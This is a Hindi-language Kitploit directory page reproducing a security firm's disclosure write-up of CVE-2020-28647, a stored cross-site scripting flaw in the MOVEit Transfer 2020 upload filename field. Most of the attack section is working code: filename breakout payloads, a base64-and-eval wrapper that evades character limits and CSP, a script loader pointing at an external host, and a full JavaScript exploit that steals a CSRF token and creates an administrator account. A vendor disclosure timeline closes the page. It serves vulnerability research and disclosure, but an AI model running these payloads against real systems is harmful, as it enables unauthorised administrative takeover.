Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — MOVEit Transfer 2020 वेब एप्लिकेशन संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) | Kitploit
उपकरण/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

MOVEit Transfer 2020 वेब एप्लिकेशन संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
25 साल पहलेअभी तक समीक्षित नहीं

प्रोग्रेस MOVEit Transfer < 2020.1 स्टोर्ड XSS (CVE-2020-28647)

हाल ही में एक वेब एप्लिकेशन परीक्षण अभियान के दौरान, दायरे में शामिल एप्लिकेशनों में से एक MOVEit Transfer 2020 वेब एप्लिकेशन था। मूल्यांकन करते समय, एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी की पहचान की गई। यह ब्लॉग पोस्ट ऐसी कमजोरी की खोज और उसके दोहन के माध्यम से वेब एप्लिकेशन तक प्रशासनिक पहुँच प्राप्त करने की प्रक्रिया पर चर्चा करेगा।

एप्लिकेशन में विभिन्न इनपुट फ़ील्ड्स पर इनपुट सत्यापन का परीक्षण करते समय, एक विशेष इनपुट फ़ील्ड ने कुछ पेलोड प्रदान करने पर अप्रत्याशित आउटपुट दिया। यह इनपुट फ़ील्ड अपलोड की जा रही फ़ाइल का नाम था। कुछ फ़ाइलनामों के साथ फ़ाइलें अपलोड करने के बाद, यह पहचाना गया कि फ़ाइल डाउनलोड करने का प्रयास करने पर, डाउनलोड बटन कोई कार्रवाई नहीं कर रहा था। इस व्यवहार की जांच की गई और जैसा कि हम नीचे दी गई छवि में देख सकते हैं, डाउनलोड बटन पर क्लिक करने पर एक जावास्क्रिप्ट त्रुटि उत्पन्न हो रही है।

एक बार यह त्रुटि पहचाने जाने पर, डाउनलोड बटन के पीछे के HTML कोड का विश्लेषण किया गया। प्रारंभिक विश्लेषण से पता चला कि फ़ाइलनाम को बटन के onclick जावास्क्रिप्ट फ़ंक्शन में बिना उचित स्वच्छता के शामिल किया जा रहा है, जैसा कि नीचे दी गई छवि में देखा जा सकता है।

इस अवलोकन के साथ यह स्पष्ट था कि जावास्क्रिप्ट कोड इंजेक्ट किया जा सकता है जो उपयोगकर्ता द्वारा Download बटन पर क्लिक करने पर निष्पादित होगा। पहला कदम एक प्रूफ ऑफ कॉन्सेप्ट कोड बनाना था जो alert फ़ंक्शन के माध्यम से एक जावास्क्रिप्ट पॉपअप ट्रिगर करता है। कोड की प्रकृति और जहाँ फ़ाइलनाम इंजेक्ट किया जा रहा है, को देखते हुए निम्नलिखित पेलोड तैयार किया गया। यह पेलोड कॉल किए जा रहे फ़ंक्शन को समाप्त करेगा और एक नया फ़ंक्शन, alert(), जोड़ेगा, इसके बाद कोड को पूरा करने के लिए एक डमी फ़ंक्शन होगा।

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

इस पेलोड के साथ हम इसका परीक्षण कर सकते हैं। हम एक फ़ाइल अपलोड कर सकते हैं और फिर बर्प प्रॉक्सी का उपयोग करके सर्वर पर अपलोड अनुरोध को इंटरसेप्ट कर सकते हैं, फ़ाइलनाम बदल सकते हैं और अनुरोध को सर्वर पर अग्रेषित कर सकते हैं।

फ़ाइल अपलोड होने के बाद, अब हम फ़ाइलनाम पर क्लिक करके फ़ाइल खोल सकते हैं और फिर Download बटन पर क्लिक कर सकते हैं। यहाँ हम देख सकते हैं कि XSS ट्रिगर होता है और एक जावास्क्रिप्ट अलर्ट पॉपअप दिखाया जाता है।

बढ़िया! तो हम मनमाना जावास्क्रिप्ट कोड निष्पादित कर सकते हैं। हम और क्या कर सकते हैं? क्या हम इससे कुछ और प्राप्त कर सकते हैं?

एप्लिकेशन और इसकी कार्यक्षमता की जांच करने के बाद, हमले का एक संभावित वेक्टर एक निम्न-स्तरीय उपयोगकर्ता हो सकता है जो प्रशासनिक पहुँच प्राप्त करने के लिए विशेषाधिकार बढ़ाने का प्रयास कर रहा हो।

प्रारंभिक कदम यह जांचना था कि क्या XMLHttpRequest का उपयोग करके जावास्क्रिप्ट के माध्यम से HTTP अनुरोध करना संभव है। फ़ाइल और फ़ोल्डर नामों की सेटिंग्स की समीक्षा करते समय, यह पहचाना गया कि MOVEit फ़ाइलनाम में / या \ की अनुमति नहीं देता है। तो यह हमें HTTP अनुरोध करने से संभावित रूप से रोक सकता है। एक और सीमा जो पहचानी गई वह यह थी कि फ़ाइलनाम 255 वर्णों तक सीमित है।

इस विश्लेषण के आधार पर, हमारे पास कुछ प्रतिबंध हैं जिन्हें दरकिनार करने की आवश्यकता है। पहला यह था कि / और \ वर्ण सीमा को बायपास करने का एक तरीका खोजने का प्रयास करना और दूरस्थ सर्वर पर होस्ट की गई जावास्क्रिप्ट फ़ाइल को शामिल करने का प्रयास करना। इस प्रतिबंध को दरकिनार करने के लिए, हम जिस जावास्क्रिप्ट कोड को निष्पादित करना चाहते हैं, उसे base64 प्रारूप में एनकोड कर सकते हैं और फिर इसे मेमोरी में डीकोड कर सकते हैं और eval फ़ंक्शन के माध्यम से निष्पादित कर सकते हैं। निम्नलिखित कोड स्निपेट ठीक यही करता है।

root@kitploit:~
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

इस कोड के साथ, पहला प्रयास एक <script> टैग को इंजेक्ट करना था जिसमें फ़ाइल का स्रोत बाहरी रूप से होस्ट की गई फ़ाइल पर सेट हो। नीचे दिए गए कोड स्निपेट को base64 एनकोड किया गया और फिर ऊपर दिए गए स्निपेट में कॉपी किया गया।

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

इसे आज़माने पर एक और समस्या सामने आई, CSP। वेब एप्लिकेशन एक CSP का उपयोग कर रहा था जो बाहरी जावास्क्रिप्ट फ़ाइलों को लोड करने से रोकता था।

तो, हम बाहरी फ़ाइलें लोड नहीं कर सकते और हम JS कोड शामिल नहीं कर सकते जो 255 वर्णों से अधिक हो। अब हम क्या कर सकते हैं? हम MOVEit की कार्यक्षमता का दुरुपयोग करने का प्रयास कर सकते हैं और अपनी दुर्भावनापूर्ण जावास्क्रिप्ट फ़ाइल को होस्ट करने के लिए इसका उपयोग कर सकते हैं।

पहले हमें जावास्क्रिप्ट कोड बनाना होगा जो सिस्टम में एक नया उपयोगकर्ता जोड़ने के लिए जिम्मेदार पृष्ठ पर GET अनुरोध करेगा और यहाँ से CSRF टोकन निकालेगा। फिर स्क्रिप्ट को एक नया व्यवस्थापक उपयोगकर्ता बनाने के लिए अनुरोध में निकाले गए CSRF टोकन सहित POST अनुरोध करना होगा। नीचे कोड स्निपेट है जो ऐसा करता है।

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

उपरोक्त जावास्क्रिप्ट कोड को एक फ़ाइल में सहेज कर MOVEit पर अपलोड करना होगा। फ़ाइल अपलोड होने के बाद, फ़ाइल विवरण खोलें और बर्प प्रॉक्सी के साथ वेब अनुरोधों को इंटरसेप्ट करते हुए डाउनलोड बटन पर क्लिक करें। बर्प प्रॉक्सी लॉग में फ़ाइल के प्रत्यक्ष डाउनलोड लिंक के लिए एक प्रविष्टि होनी चाहिए। यह URL इस प्रकार होना चाहिए:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

प्रत्यक्ष डाउनलोड लिंक होने पर, अब हम इसे पेलोड में शामिल करने के लिए सेट कर सकते हैं। नीचे दिया गया कोड एक स्क्रिप्ट टैग बनाएगा और स्रोत URL को प्रत्यक्ष डाउनलोड लिंक पर सेट करेगा और अंत में पेज हेड टैग में स्क्रिप्ट टैग सम्मिलित करेगा और onload पर r() फ़ंक्शन निष्पादित करेगा।

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

अगला कदम उपरोक्त कोड स्निपेट को base64 एनकोड करना है:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

अगला कदम इस अंतिम XSS पेलोड को इंजेक्ट करना है। ऐसा करने के लिए, बर्प प्रॉक्सी के साथ अनुरोधों को इंटरसेप्ट करते हुए एक फ़ाइल अपलोड करें और अपलोड की गई फ़ाइल के नाम को नीचे दिए गए XSS पेलोड में संशोधित करें।

root@kitploit:~
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

एक बार फ़ाइल अपलोड हो जाने पर, विवरण खोलने के लिए अपलोड की गई फ़ाइल पर क्लिक करें और XSS को ट्रिगर करने और व्यवस्थापक उपयोगकर्ता बनाने के लिए Download बटन पर क्लिक करें। एक निम्न-स्तरीय उपयोगकर्ता यह सेटअप बना सकता है और यदि अपलोड की गई फ़ाइल किसी प्रशासनिक उपयोगकर्ता द्वारा डाउनलोड की जाती है, तो निम्न-स्तरीय उपयोगकर्ता व्यवस्थापक को अनजाने में एक व्यवस्थापक खाता बनाने के लिए प्रेरित कर सकता है।

समयरेखा

  • 05/08/2020 - समस्या की सूचना दी गई
  • 08/08/2020 - समस्या सत्यापित हुई और अगले प्रमुख रिलीज़ में इसे शामिल करने के लिए सुधार किया जाएगा
  • 16/11/2020 - प्रोग्रेस MOVEit एडवाइजरी जारी की गई
  • 17/11/2020 - CVE-2020-28647 जारी किया गया
टूल डाउनलोड करें